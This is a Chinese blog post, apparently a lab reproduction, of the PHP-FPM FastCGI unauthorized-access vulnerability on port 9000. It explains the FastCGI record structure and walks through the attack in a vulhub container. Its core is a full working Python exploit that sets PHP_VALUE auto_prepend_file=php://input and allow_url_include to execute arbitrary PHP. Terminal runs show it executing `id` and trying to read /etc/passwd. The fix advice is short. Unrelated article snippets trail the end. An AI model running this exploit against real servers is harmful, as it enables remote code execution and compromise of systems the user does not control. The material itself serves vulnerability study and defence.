fastcgi未授权访问漏洞(php-fpm fast-cgi未授权访问漏洞)

news2024/12/27 0:15:48

本文参考《Fastcgi协议分析 && PHP-FPM未授权访问漏洞 && Exp编写》进行该漏洞的复现以及分析。

1.前置基础

1.1 nginx中的fastcgi

先来看先前用过的一张图,其是nginx解析用户请求的过程。

在这里插入图片描述
图中的几个定义:

  • CGI:CGI是一种协议,它定义了Nginx或者其他Web Server传递过来的数据格式,全称是(Common Gateway Interface,CGI),CGI是一个独立的程序,独立与WebServer之外,任何语言都可以写CGI程序,例如C、Perl、Python等。
  • FastCGI:FastCGI是一种协议,它的前身是CGI,可以简单的理解为是优化版的CGI,拥有更够的稳定性和性能。
  • PHP-CGI:只是一个PHP的解释器,本身只能解析请求,返回结果,不会做进程管理。
  • PHP-FPM:全称FastCGI Process Manager,看名称就可以知道,PHP-FPM是FastCGI进程的管理器,但前面讲到FastCGI是协议并不是程序,所以它管理的是PHP-CGI,形成了一个类似PHP-CGI进程池的概念。
  • Wrapper:字母意思是包装的意思,包装的是谁呢?包装的是FastCGI,通过FastCGI接口,Wrapper接收到请求后,会生成一个新的线程调用PHP解释器来处理数据。

也就是说,fastcgi作为一种通信协议。提供了nginx程序和php-fpm通信的桥梁。作为一种规范,保障了服务器接收到的php请求可以完整快速的传递到php-fpm魔模块中进行处理。

1.2 fastcgi协议分析

1.2.1 Fastcgi Record

Fastcgi其实是一个通信协议,和HTTP协议一样,都是进行数据交换的一个通道。

HTTP协议是浏览器和服务器中间件进行数据交换的协议,浏览器将HTTP头和HTTP体用某个规则组装成数据包,以TCP的方式发送到服务器中间件,服务器中间件按照规则将数据包解码,并按要求拿到用户需要的数据,再以HTTP协议的规则打包返回给服务器。

类比HTTP协议来说,fastcgi协议则是服务器中间件和某个语言后端进行数据交换的协议。Fastcgi协议由多个record组成,record也有header和body一说,服务器中间件将这二者按照fastcgi的规则封装好发送给语言后端,语言后端解码以后拿到具体数据,进行指定操作,并将结果再按照该协议封装好后返回给服务器中间件。

和HTTP头不同,record的头固定8个字节,body是由头中的contentLength指定,其结构如下:

#这是c语言中定义的结构体
typedef struct {
  /* Header */
  unsigned char version; // 版本
  unsigned char type; // 本次record的类型
  unsigned char requestIdB1; // 本次record对应的请求id
  unsigned char requestIdB0;
  unsigned char contentLengthB1; // body体的大小
  unsigned char contentLengthB0;
  unsigned char paddingLength; // 额外块大小
  unsigned char reserved; 

  /* Body */
  unsigned char contentData[contentLength];
  unsigned char paddingData[paddingLength];
} FCGI_Record;

头由8个uchar类型的变量组成,每个变量1字节。其中,requestId占两个字节,一个唯一的标志id,以避免多个请求之间的影响;contentLength占两个字节,表示body的大小。

语言处理模块解析了fastcgi头以后,拿到contentLength,然后再在TCP流里读取大小等于contentLength的数据,这就是body体。

Body后面还有一段额外的数据(Padding),其长度由头中的paddingLength指定,起保留作用。不需要该Padding的时候,将其长度设置为0即可。

可见,一个fastcgi record结构最大支持的body大小是2^16(两个字节16bit),也就是65536字节。

1.2.2 Fastcgi Type

type就是指定该record的作用类型。因为fastcgi中一个record的大小是有限的,作用也是单一的,需要进行分类表述。所以我们需要在一个TCP流里传输多个record。通过type来标志每个record的作用,用requestId作为同一次请求的id。

也就是说,每次请求,会有多个record,他们的requestId是相同的。

type值具体含义
1在与php-fpm建立连接之后发送的第一个消息中的type值就得为1,用来表明此消息为请求开始的第一个消息
2异常断开与php-fpm的交互
3在与php-fpm交互中所发的最后一个消息中type值为此,以表明交互的正常结束
4在交互过程中给php-fpm传递环境参数时,将type设为此,以表明消息中包含的数据为某个name-value对
5web服务器将从浏览器接收到的POST请求数据(表单提交等)以消息的形式发给php-fpm,这种消息的type就得设为5
6php-fpm给web服务器回的正常响应消息的type就设为6
7php-fpm给web服务器回的错误响应设为7

看了这个表格就很清楚了,服务器中间件和后端语言通信,第一个数据包就是type为1的record,后续互相交流,发送type为4、5、6、7的record,结束时发送type为2、3的record。

后端语言接收到一个type为4的record后,就会把这个record的body按照对应的结构解析成key-value对,这就是环境变量。环境变量的结构如下:

typedef struct {
  unsigned char nameLengthB0;  /* nameLengthB0  >> 7 == 0 */
  unsigned char valueLengthB0; /* valueLengthB0 >> 7 == 0 */
  unsigned char nameData[nameLength];
  unsigned char valueData[valueLength];
} FCGI_NameValuePair11;

typedef struct {
  unsigned char nameLengthB0;  /* nameLengthB0  >> 7 == 0 */
  unsigned char valueLengthB3; /* valueLengthB3 >> 7 == 1 */
  unsigned char valueLengthB2;
  unsigned char valueLengthB1;
  unsigned char valueLengthB0;
  unsigned char nameData[nameLength];
  unsigned char valueData[valueLength
          ((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0];
} FCGI_NameValuePair14;

typedef struct {
  unsigned char nameLengthB3;  /* nameLengthB3  >> 7 == 1 */
  unsigned char nameLengthB2;
  unsigned char nameLengthB1;
  unsigned char nameLengthB0;
  unsigned char valueLengthB0; /* valueLengthB0 >> 7 == 0 */
  unsigned char nameData[nameLength
          ((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0];
  unsigned char valueData[valueLength];
} FCGI_NameValuePair41;

typedef struct {
  unsigned char nameLengthB3;  /* nameLengthB3  >> 7 == 1 */
  unsigned char nameLengthB2;
  unsigned char nameLengthB1;
  unsigned char nameLengthB0;
  unsigned char valueLengthB3; /* valueLengthB3 >> 7 == 1 */
  unsigned char valueLengthB2;
  unsigned char valueLengthB1;
  unsigned char valueLengthB0;
  unsigned char nameData[nameLength
          ((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0];
  unsigned char valueData[valueLength
          ((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0];
} FCGI_NameValuePair44;

这其实是4个结构,至于用哪个结构,有如下规则:

  1. key、value均小于128字节,用FCGI_NameValuePair11
  2. key大于128字节,value小于128字节,用FCGI_NameValuePair41
  3. key小于128字节,value大于128字节,用FCGI_NameValuePair14
  4. key、value均大于128字节,用FCGI_NameValuePair44

类型4的record在和php-fpm的通信中发挥着十分重要的作用,这也是我们着力分析的原因。

1.2.3 PHP-FPM(FastCGI进程管理器)

php-fpm就是接收fast-cgi并进行处理的一个模块程序。其不但可以高效的接收fast-cgi信息,还可以将其交给自身的php-cgi进程进行php请求的处理。

FPM按照fastcgi的协议将TCP流解析成真正的数据。

举个例子,用户访问http://127.0.0.1/index.php?a=1&b=2,如果web目录是/var/www/html,那么Nginx会将这个请求变成如下key-value对:

{
    'GATEWAY_INTERFACE': 'FastCGI/1.0',
    'REQUEST_METHOD': 'GET',
    'SCRIPT_FILENAME': '/var/www/html/index.php',
    'SCRIPT_NAME': '/index.php',
    'QUERY_STRING': '?a=1&b=2',
    'REQUEST_URI': '/index.php?a=1&b=2',
    'DOCUMENT_ROOT': '/var/www/html',
    'SERVER_SOFTWARE': 'php/fcgiclient',
    'REMOTE_ADDR': '127.0.0.1',
    'REMOTE_PORT': '12345',
    'SERVER_ADDR': '127.0.0.1',
    'SERVER_PORT': '80',
    'SERVER_NAME': "localhost",
    'SERVER_PROTOCOL': 'HTTP/1.1'
}

这个数组其实就是PHP中$_SERVER数组的一部分,也就是PHP里的环境变量。但环境变量的作用不仅是填充$_SERVER数组,也是告诉fpm:“我要执行哪个PHP文件”。比如script filename中的/var/www/html/index.php就是告诉php-cgi应该解析的文件位置在哪里。

1.2.4 security.limit_extensions配置

这一条配置是用于规定在php-fpm的解析过程中,匹配到的SCRIPT_FILENAME里,那些后缀可以被解析的。如果设置为空则表示解析所有后缀的php文件。是php-fpm的一条安全设置,如果其设置不当就有可能引发严重的非法php文件解析漏洞,即文件上传漏洞。导致网站被挂马。具体引发的漏洞类型大家可以去《nginx中间件常见漏洞总结》一睹为快。

这里附上官方文档给出的配置建议。

[root@blackstone php-fpm]# vim /etc/php-fpm.d/www.conf

; Limits the extensions of the main script FPM will allow to parse. This can
; prevent configuration mistakes on the web server side. You should only limit
; FPM to .php extensions to prevent malicious users to use other extensions to
; exectute php code.
#这一句是重点,在设置解析时,为空则表示允许所有的后缀解析
; Note: set an empty value to allow all extensions.
; Default Value: .php
;security.limit_extensions = .php .php3 .php4 .php5

2. 漏洞成因

到了漏洞成因这一块呢还是十分清晰的,既然是未授权访问那肯定少不了0.0.0.0:9000
这样一条配置了。就是因为管理员在配置时,错误的将php-fpm的9000端口访问限制配置成了允许所有IP访问。这就造成了没有授权的人也能访问这个端口。为一些别有用心的攻击者提供了攻击的切入点。

这里先把利用脚本给出来,原链接已经不可访问。直接粘到下面,已经适配py2和py3。原链接:https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75

import socket
import random
import argparse
import sys
from io import BytesIO

# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client

PY2 = True if sys.version_info.major == 2 else False


def bchr(i):
    if PY2:
        return force_bytes(chr(i))
    else:
        return bytes([i])

def bord(c):
    if isinstance(c, int):
        return c
    else:
        return ord(c)

def force_bytes(s):
    if isinstance(s, bytes):
        return s
    else:
        return s.encode('utf-8', 'strict')

def force_text(s):
    if issubclass(type(s), str):
        return s
    if isinstance(s, bytes):
        s = str(s, 'utf-8', 'strict')
    else:
        s = str(s)
    return s


class FastCGIClient:
    """A Fast-CGI Client for Python"""

    # private
    __FCGI_VERSION = 1

    __FCGI_ROLE_RESPONDER = 1
    __FCGI_ROLE_AUTHORIZER = 2
    __FCGI_ROLE_FILTER = 3

    __FCGI_TYPE_BEGIN = 1
    __FCGI_TYPE_ABORT = 2
    __FCGI_TYPE_END = 3
    __FCGI_TYPE_PARAMS = 4
    __FCGI_TYPE_STDIN = 5
    __FCGI_TYPE_STDOUT = 6
    __FCGI_TYPE_STDERR = 7
    __FCGI_TYPE_DATA = 8
    __FCGI_TYPE_GETVALUES = 9
    __FCGI_TYPE_GETVALUES_RESULT = 10
    __FCGI_TYPE_UNKOWNTYPE = 11

    __FCGI_HEADER_SIZE = 8

    # request state
    FCGI_STATE_SEND = 1
    FCGI_STATE_ERROR = 2
    FCGI_STATE_SUCCESS = 3

    def __init__(self, host, port, timeout, keepalive):
        self.host = host
        self.port = port
        self.timeout = timeout
        if keepalive:
            self.keepalive = 1
        else:
            self.keepalive = 0
        self.sock = None
        self.requests = dict()

    def __connect(self):
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.settimeout(self.timeout)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        # if self.keepalive:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
        # else:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
        try:
            self.sock.connect((self.host, int(self.port)))
        except socket.error as msg:
            self.sock.close()
            self.sock = None
            print(repr(msg))
            return False
        return True

    def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
        length = len(content)
        buf = bchr(FastCGIClient.__FCGI_VERSION) \
               + bchr(fcgi_type) \
               + bchr((requestid >> 8) & 0xFF) \
               + bchr(requestid & 0xFF) \
               + bchr((length >> 8) & 0xFF) \
               + bchr(length & 0xFF) \
               + bchr(0) \
               + bchr(0) \
               + content
        return buf

    def __encodeNameValueParams(self, name, value):
        nLen = len(name)
        vLen = len(value)
        record = b''
        if nLen < 128:
            record += bchr(nLen)
        else:
            record += bchr((nLen >> 24) | 0x80) \
                      + bchr((nLen >> 16) & 0xFF) \
                      + bchr((nLen >> 8) & 0xFF) \
                      + bchr(nLen & 0xFF)
        if vLen < 128:
            record += bchr(vLen)
        else:
            record += bchr((vLen >> 24) | 0x80) \
                      + bchr((vLen >> 16) & 0xFF) \
                      + bchr((vLen >> 8) & 0xFF) \
                      + bchr(vLen & 0xFF)
        return record + name + value

    def __decodeFastCGIHeader(self, stream):
        header = dict()
        header['version'] = bord(stream[0])
        header['type'] = bord(stream[1])
        header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
        header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
        header['paddingLength'] = bord(stream[6])
        header['reserved'] = bord(stream[7])
        return header

    def __decodeFastCGIRecord(self, buffer):
        header = buffer.read(int(self.__FCGI_HEADER_SIZE))

        if not header:
            return False
        else:
            record = self.__decodeFastCGIHeader(header)
            record['content'] = b''
            
            if 'contentLength' in record.keys():
                contentLength = int(record['contentLength'])
                record['content'] += buffer.read(contentLength)
            if 'paddingLength' in record.keys():
                skiped = buffer.read(int(record['paddingLength']))
            return record

    def request(self, nameValuePairs={}, post=''):
        if not self.__connect():
            print('connect failure! please check your fasctcgi-server !!')
            return

        requestId = random.randint(1, (1 << 16) - 1)
        self.requests[requestId] = dict()
        request = b""
        beginFCGIRecordContent = bchr(0) \
                                 + bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
                                 + bchr(self.keepalive) \
                                 + bchr(0) * 5
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
                                              beginFCGIRecordContent, requestId)
        paramsRecord = b''
        if nameValuePairs:
            for (name, value) in nameValuePairs.items():
                name = force_bytes(name)
                value = force_bytes(value)
                paramsRecord += self.__encodeNameValueParams(name, value)

        if paramsRecord:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)

        if post:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)

        self.sock.send(request)
        self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
        self.requests[requestId]['response'] = b''
        return self.__waitForResponse(requestId)

    def __waitForResponse(self, requestId):
        data = b''
        while True:
            buf = self.sock.recv(512)
            if not len(buf):
                break
            data += buf

        data = BytesIO(data)
        while True:
            response = self.__decodeFastCGIRecord(data)
            if not response:
                break
            if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \
                    or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                    self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
                if requestId == int(response['requestId']):
                    self.requests[requestId]['response'] += response['content']
            if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
                self.requests[requestId]
        return self.requests[requestId]['response']

    def __repr__(self):
        return "fastcgi connect host:{} port:{}".format(self.host, self.port)


if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
    parser.add_argument('host', help='Target host, such as 127.0.0.1')
    parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
    parser.add_argument('-c', '--code', help='What php code your want to execute', default='<?php phpinfo(); exit; ?>')
    parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)

    args = parser.parse_args()

    client = FastCGIClient(args.host, args.port, 3, 0)
    params = dict()
    documentRoot = "/"
    uri = args.file
    content = args.code
    params = {
        'GATEWAY_INTERFACE': 'FastCGI/1.0',
        'REQUEST_METHOD': 'POST',
        'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
        'SCRIPT_NAME': uri,
        'QUERY_STRING': '',
        'REQUEST_URI': uri,
        'DOCUMENT_ROOT': documentRoot,
        'SERVER_SOFTWARE': 'php/fcgiclient',
        'REMOTE_ADDR': '127.0.0.1',
        'REMOTE_PORT': '9985',
        'SERVER_ADDR': '127.0.0.1',
        'SERVER_PORT': '80',
        'SERVER_NAME': "localhost",
        'SERVER_PROTOCOL': 'HTTP/1.1',
        'CONTENT_TYPE': 'application/text',
        'CONTENT_LENGTH': "%d" % len(content),
        'PHP_VALUE': 'auto_prepend_file = php://input',
        'PHP_ADMIN_VALUE': 'allow_url_include = On'
    }
    response = client.request(params, content)
    print(force_text(response))

3.利用示例

测试环境:vulhub内关于nginx解析漏洞的个环境

[root@blackstone fpm]# pwd
/root/vulhub-master/php/fpm
[root@blackstone fpm]# docker-compose up -d
#报错的话可以关闭本机的fpm服务
[root@blackstone fpm]# systemctl stop php-fpm
[root@blackstone fpm]# netstat -anop | grep 9000

3.1 攻击演示

利用上面给出的那个exp可以对目标主机的9000端口发送一些php语句,触发任意代码执行漏洞。像这样:

#这里的路径参数一定要是目标网站上的一个真实存在的php代码,否则会出现404的返回结果

[root@blackstone fpm]# python2 fpm.py 127.0.0.1 /usr/local/lib/php/PEAR.php -c '<?php echo `id`;?>'
X-Powered-By: PHP/8.1.1
Content-type: text/html; charset=UTF-8

uid=33(www-data) gid=33(www-data) groups=33(www-data)

#参数为不存在的php文件时
[root@blackstone fpm]# python2 fpm.py 127.0.0.1 /usr/local/lib/php/PEAR0012.php -c '<?php echo `id`;?>'
Primary script unknownStatus: 404 Not Found
X-Powered-By: PHP/8.1.1
Content-type: text/html; charset=UTF-8

File not found.

tips:如何获取真实的php文件路径。

#1.直接去真实的web页面路径里面添加错误路径,寻求报错回显出我们要的真实路径。

#2.根据目标的操作系统,寻找应该有的安装php依赖时残留下来的php文件。
root@892d77a19d74:~# find / -name *.php
find: '/proc/1/map_files': Operation not permitted
find: '/proc/6/map_files': Operation not permitted
find: '/proc/7/map_files': Operation not permitted
find: '/proc/8/map_files': Operation not permitted
find: '/proc/435/map_files': Operation not permitted
/usr/local/lib/php/Archive/Tar.php
/usr/local/lib/php/Console/Getopt.php
/usr/local/lib/php/OS/Guess.php
/usr/local/lib/php/PEAR/Builder.php
/usr/local/lib/php/PEAR/ChannelFile/Parser.php
/usr/local/lib/php/PEAR/ChannelFile.php
/usr/local/lib/php/PEAR/Command/Auth.php
/usr/local/lib/php/PEAR/Command/Build.php
/usr/local/lib/php/PEAR/Command/Channels.php
/usr/local/lib/php/PEAR/Command/Common.php
/usr/local/lib/php/PEAR/Command/Config.php
/usr/local/lib/php/PEAR/Command/Install.php
/usr/local/lib/php/PEAR/Command/Mirror.php
/usr/local/lib/php/PEAR/Command/Package.php
/usr/local/lib/php/PEAR/Command/Pickle.php
/usr/local/lib/php/PEAR/Command/Registry.php
/usr/local/lib/php/PEAR/Command/Remote.php
/usr/local/lib/php/PEAR/Command/Test.php
/usr/local/lib/php/PEAR/Command.php
/usr/local/lib/php/PEAR/Common.php

3.2 security.limit_extensions的限制 - 参数必须为.php后缀的真实文件

接下来我们要认真的思考一下,究竟如何实现这个漏洞的利用。

周老师提供给我们的思路就是最终要实现任意命令执行的效果,首先我们利用fastcgi协议可以往对应的开放端口里面发信息。这一点肯定是没跑的。但是再往后看,发什么样的信息才能有效呢,或者说我们能不能发送一个scriptname指向某一个文件,让php将其返回回来呢。

其实这一点在老版本的php-fpm内可以实现,我们用fastcgi请求一个存在的文件,该文件就会被当成php解析并返回。比如利用上文给出的exp查看/etc/passwd文件的信息。现如今会出现权限拒绝的错误。

[root@blackstone fpm]# python2 fpm.py 127.0.0.1 /etc/passwd
Access to the script '/etc/passwd' has been denied (see security.limit_extensions)Status: 403 Forbidden
X-Powered-By: PHP/8.1.1
Content-type: text/html; charset=UTF-8

Access denied.

其实这个问题和我们上面提到的security.limit_extensions配置项有关,该配置设置了php-fpm接收到的scriptname中允许解析的文件后缀类型。为空时则允许解析所有,我们进行配置后再次测试:

#1.修改一套配置了security.limit的文件,到放到虚拟主机内部,尝试测试
[root@blackstone fpm]# cp /etc/php-fpm.d/www.conf .
[root@blackstone fpm]# vim www.conf

在这里插入图片描述
在这里插入图片描述

#2.文件复制到目标目录内部
[root@blackstone fpm]# docker ps -a
CONTAINER ID        IMAGE               COMMAND                  CREATED             STATUS              PORTS                    NAMES
892d77a19d74        php:fpm             "docker-php-entrypoi…"   26 minutes ago      Up 26 minutes       0.0.0.0:9000->9000/tcp   fpm_php_1
[root@blackstone fpm]# docker cp www.conf 892d77a19d74:/

root@892d77a19d74:/var/www/html# find / -name www.conf
find: '/proc/1/map_files': Operation not permitted
find: '/proc/6/map_files': Operation not permitted
find: '/proc/7/map_files': Operation not permitted
find: '/proc/8/map_files': Operation not permitted
find: '/proc/13/map_files': Operation not permitted
/usr/local/etc/php-fpm.d/www.conf
/www.conf
root@892d77a19d74:/var/www/html# cd /usr/local/etc/php-fpm.d/
root@892d77a19d74:/usr/local/etc/php-fpm.d# mv www.conf www
root@892d77a19d74:/usr/local/etc/php-fpm.d# mv /www.conf .
#3.尝试再次运行攻击脚本

[root@blackstone fpm]# python2 fpm.py 127.0.0.1 /etc/passwd
Access to the script '/etc/passwd' has been denied (see security.limit_extensions)Status: 403 Forbidden
X-Powered-By: PHP/8.1.1
Content-type: text/html; charset=UTF-8

Access denied.

到这里还是不行,不允许我们访问这里的/etc/passwd,我们尝试降级了之后依旧无效。可以看出,无论如何,想要解析非.php后缀的文件,即使是在exp的加持下,也无法完成。更何况大多数情况下,仅仅开启解析.php后缀文件呢。

3.3 如何让我们的php语句被执行?

如果我们仅能通过fastcgi让php-fpm解析一些系统上本来就有的.php文件,那将毫无意义。因为文件本来就在服务器上,就算有很弱的文件上传点,让我们上传了.php后缀的php文件上去。那这利用面也未必太窄了。

但PHP是一门强大的语言,PHP.INI中有两个有趣的配置项,auto_prepend_fileauto_append_file

auto_prepend_file是告诉PHP,在执行目标文件之前,先包含auto_prepend_file中指定的文件;auto_append_file是告诉PHP,在执行完成目标文件后,包含auto_append_file指向的文件。

也就是说,通过这两个参数的设定可以实现在解析php文件前,先行包含一个文件进来,条件合适的话(服务器允许远程包含文件)。可以用伪协议php://inout实现对进入post请求体中的php代码解析。

设置auto_prepend_filephp://input

但是我们又不能直接修改服务器的pnp.ini,肯定是没权限的。又遇到难题了。莫慌,作者还提出了一些关于php-fpm的知识。

PHP-FPM的两个环境变量,PHP_VALUEPHP_ADMIN_VALUE。这两个环境变量就是用来设置PHP配置项的,PHP_VALUE可以设置模式为PHP_INI_USERPHP_INI_ALL的选项,PHP_ADMIN_VALUE可以设置所有选项。(disable_functions除外,这个选项是PHP加载的时候就确定了,在范围内的函数直接不会被加载到PHP上下文中)也就是说,通过对FPM的环境变量的设置,可以达到开启远程文件包含和设置auto_prepend_filephp://input的效果。

exp最终发送出的fast-cgi参数如下:

{
    'GATEWAY_INTERFACE': 'FastCGI/1.0',
    'REQUEST_METHOD': 'GET',
    'SCRIPT_FILENAME': '/var/www/html/index.php',
    'SCRIPT_NAME': '/index.php',
    'QUERY_STRING': '?a=1&b=2',
    'REQUEST_URI': '/index.php?a=1&b=2',
    'DOCUMENT_ROOT': '/var/www/html',
    'SERVER_SOFTWARE': 'php/fcgiclient',
    'REMOTE_ADDR': '127.0.0.1',
    'REMOTE_PORT': '12345',
    'SERVER_ADDR': '127.0.0.1',
    'SERVER_PORT': '80',
    'SERVER_NAME': "localhost",
    'SERVER_PROTOCOL': 'HTTP/1.1'
    'PHP_VALUE': 'auto_prepend_file = php://input',
    'PHP_ADMIN_VALUE': 'allow_url_include = On'
}

到这里,我们的post请求体中的php代码就被顺顺利利的执行出来了。完美的实现了任意代码执行漏洞。不得不赞叹作者的思路以及深厚的php基础知识。

4.修复建议

配置的时候一定要小心,特别是对于php-fpm模块中的监听端口、security.limit_extension的配置。一定要遵循最小开放原则。

5. 总结

fastcgi未授权访问漏洞是由于错误的监听端口配置而引发的配置型漏洞。在内网的部署中也常常会有人人为监听个0.0.0.0:9000简单又快捷。殊不知,这也会成为服务器脆弱的一环。

对于这个漏洞,我们的重心应该放在攻击思路上,去理解作者如何利用php的一些知识,和fast-cgi的相关知识。编写对应的exp实现攻击的。作为任意代码解析最重要的就是让服务器解析我们写入的代码。作者利用了php.ini配置文档中的auto_prepend_file.php文件在解析前先行包含进外部文件。再利用fast-cgi的PHP_VALUEPHP_ADMIN_VALUE设置允许文件包含。最终实现了在post请求体中注入任意可执行的PHP代码这样的操作。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/338090.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

1628_MIT 6.828 xv6_chapter0操作系统接口

全部学习汇总&#xff1a; GreyZhang/g_unix: some basic learning about unix operating system. (github.com) 这本书最初看名字以为是对早期unix的一个解读&#xff0c;但是看了开篇发现 不完全是&#xff0c;只是针对JOS教学OS系统来做的一些讲解。 Xv6是对UNIX v6的重新实…

【Java 面试合集】Java中修饰符有哪些,有什么应用场景

Java中修饰符有哪些&#xff0c;有什么应用场景 1. 概述 首先我们要知道Java的三大特性&#xff1a;封装&#xff0c;继承&#xff0c;多态。 而我们今天要分析的修饰符就跟封装有着密切的联系。因为权限修饰符可以控制变量以及方法的作用范围。 废话不多说&#xff0c;上图…

Python推导式

列表&#xff08;list&#xff09;推导式 [remove for source in xx_list]或者[remove for source in xx_list if condition] 实例&#xff1a; names[Bob,Mark,Mausk,Johndan,Wendy] new_names[name.upper() for name in names if len(name)<5] print(new_names)即迭代列…

PC端开发GUI

PC端开发GUI PC端环境搭建1、Python2、PycharmPC端环境搭建 1、Python 注意Python版本不能超过3.9,因为pyqt-tools只维护到python对应的该版本 1.1、查找是否安装python:win+R,输入cmd回车,输入python或python -V或python --version 1.2、若1.1没有,则下载安装下载链接…

天津菲图尼克科技携洁净及无菌防护服解决方案与您相约2023生物发酵展

BIO CHINA 生物发酵产业一年一度行业盛会&#xff0c;由中国生物发酵产业协会主办&#xff0c;上海信世展览服务有限公司承办&#xff0c;2023第10届国际生物发酵产品与技术装备展览会&#xff08;济南&#xff09;于2023年3月30-4月1日在山东国际会展中心&#xff08;济南市槐…

亿级高并发电商项目-- 实战篇 --万达商城项目 二(Zookeeper、Docker、Dubbo-Admin等搭建工作

&#x1f44f;作者简介&#xff1a;大家好&#xff0c;我是小童&#xff0c;Java开发工程师&#xff0c;CSDN博客博主&#xff0c;Java领域新星创作者 &#x1f4d5;系列专栏&#xff1a;前端、Java、Java中间件大全、微信小程序、微信支付、若依框架、Spring全家桶 &#x1f4…

第二章-进程(2)

进程一、进程的引入二、进程的状态及组成三、进程控制一、进程的引入 &#xff08;1&#xff09;程序的顺序执行: P1:axy P2:ba-5 P3:cb1 程序总是按照P1→P2→P3的顺序执行。 特点&#xff1a; 顺序性&#xff1a;处理机的操作严格按规定顺序执行。封闭性&#xff1a;程序执…

python(8):使用conda update更新conda后,anaconda所有环境崩溃----问题没有解决,不要轻易更新conda

文章目录0. 教训1. 问题:使用conda update更新conda后&#xff0c;anaconda所有环境崩溃1.1 问题描述1.2 我搜索到的全网最相关的问题----也没有解决3 尝试流程记录3.1 重新安装pip3.2 解决anaconda编译问题----没成功0. 教训 (1) 不要轻易使用conda update更新conda----我遇到…

[OpenMMLab]AI实战营第六节课

语义分割算法基础 任务&#xff1a;图像按照物体的类别分隔成不同区域&#xff0c;即将每个像素进行分类 应用&#xff1a;无人驾驶、医疗、人像、智能遥感 思路 基本思路&#xff1a;按照颜色区分 --> 逐像素分类&#xff08;滑动窗口&#xff0c;用CNN分类&#xff0c…

微搭低代码从入门到精通11-数据模型

学习微搭低代码&#xff0c;先学习基本操作&#xff0c;然后学习组件的基本使用。解决了前端的问题&#xff0c;我们就需要深入学习后端的功能。后端一般包括两部分&#xff0c;第一部分是常规的数据库的操作&#xff0c;包括增删改查。第二部分是业务逻辑的编写&#xff0c;在…

QT基础入门

学习视频&#xff1a;QT开发概述_哔哩哔哩_bilibili 1.QT开发概述 1.什么是QT QT是一个1991年由Qt Company开发的跨平台C图形用户界面应用程序开发框架。它既可以开发GUI程序&#xff0c;也可用于开发非GUI程序&#xff0c;比如控制台工具和服务器。Qt是面向对象的框架&#…

STC15单片机软串口的使用

STC15软串口的使用&#x1f4d6;在没有使用定时器资源的情况下&#xff0c;根据波特率位传输时间&#xff0c;利用STC-ISP工具自动计算出位延时函数。 ✨在官方所提供的库函数中位传输时间函数,仅适用于使用波特率为&#xff1a;9600的串口数据传输&#xff1a; void BitTime(…

Grafana 系列文章(十四):Helm 安装Loki

前言 写或者翻译这么多篇 Loki 相关的文章了, 发现还没写怎么安装 &#x1f613; 现在开始介绍如何使用 Helm 安装 Loki. 前提 有 Helm, 并且添加 Grafana 的官方源: helm repo add grafana https://grafana.github.io/helm-charts helm repo update &#x1f43e;Warning…

nacos的单机模式和集群模式

文章目录 目录 文章目录 前言 一、nacos数据库配置 二、单机模式 三、集群模式 四、使用nginx集群模式的负载均衡 总结 前言 一、nacos数据库配置 在数据库中创建nacos_config 编码格式utf8-mb4的数据库 把上面的数据库文件导入数据库 在 配置文件中添加如下 spring.datasour…

LINUX之链接命令

链接命令学习目标能够说出软链接的创建方式能够说出硬链接的创建方式1. 链接命令的介绍链接命令是创建链接文件&#xff0c;链接文件分为:软链接硬链接命令说明ln -s创建软链接ln创建硬链接2. 软链接类似于Windows下的快捷方式&#xff0c;当一个源文件的目录层级比较深&#x…

Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)

目录 1、Apache Shiro简介 2、漏洞原理 关键因素&#xff1a; 漏洞分析&#xff1a; 漏洞特征&#xff1a; 3、影响版本 4、漏洞复现 任意命令执行 GETSHELL 防御措施 1、Apache Shiro简介 Apache Shiro是一个Java安全框架&#xff0c;执行身份验证、授权、密码和会话…

深入解读.NET MAUI音乐播放器项目(一):概述与架构

系列文章将分步解读音乐播放器核心业务及代码&#xff1a; 深入解读.NET MAUI音乐播放器项目&#xff08;一&#xff09;&#xff1a;概述与架构深入解读.NET MAUI音乐播放器项目&#xff08;二&#xff09;&#xff1a;播放内核深入解读.NET MAUI音乐播放器项目&#xff08;三…

部门新来了个软件测试工程师,一副毛头小子的样儿,哪想到是新一代卷王...

